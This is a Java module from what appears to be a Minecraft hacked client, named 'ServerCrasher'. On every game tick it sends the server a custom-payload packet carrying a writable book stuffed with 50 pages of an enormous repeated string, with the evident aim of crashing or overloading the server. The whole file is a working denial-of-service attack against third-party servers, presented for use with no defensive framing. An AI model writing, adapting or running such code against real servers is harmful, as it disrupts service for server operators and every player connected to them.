package forward.Module.Modules.Misc;

import forward.api.EventUpdate;
import forward.api.eventapi.EventTarget;
import forward.Module.Module;
import forward.Module.ModuleType;
import io.netty.buffer.Unpooled;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagList;
import net.minecraft.nbt.NBTTagString;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C17PacketCustomPayload;

import java.util.Random;

public class ServerCrasher extends Module {
    public static Random rand = new Random();

    public ServerCrasher(){
        super("Server Crasher", new String[]{}, ModuleType.Misc);
    }

    public static void sendCrashPacket() {
        try {

            final ItemStack bookObj = new ItemStack(Items.writable_book);
            final NBTTagCompound base = new NBTTagCompound();
            final NBTTagList list = new NBTTagList();
            final String interestingstring = "executeexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecuteexecute";
            for (int j = 0; j < 50; j++) {
                list.appendTag(new NBTTagString(interestingstring));
            }
            base.setTag("pages", list);
            base.setString("author", "Monika" + Math.random() * 500.0);
            base.setByte("resolved", (byte)1);
            base.setString("title", "Just Monika" + Math.random() * 500.0);
            bookObj.setTagCompound(base);
            String channel = "Just Monika.";
            if (rand.nextBoolean()) {
                channel = "Just Monika.";
            }
            final PacketBuffer bomb = new PacketBuffer(Unpooled.buffer());
            bomb.writeItemStackToBuffer(bookObj);
            mc.thePlayer.sendQueue.addToSendQueue(new C17PacketCustomPayload(channel, bomb));
        }
        catch (Exception ex) {}
    }

    @EventTarget
    public void onUpdate(EventUpdate e) {
        sendCrashPacket();
    }
}
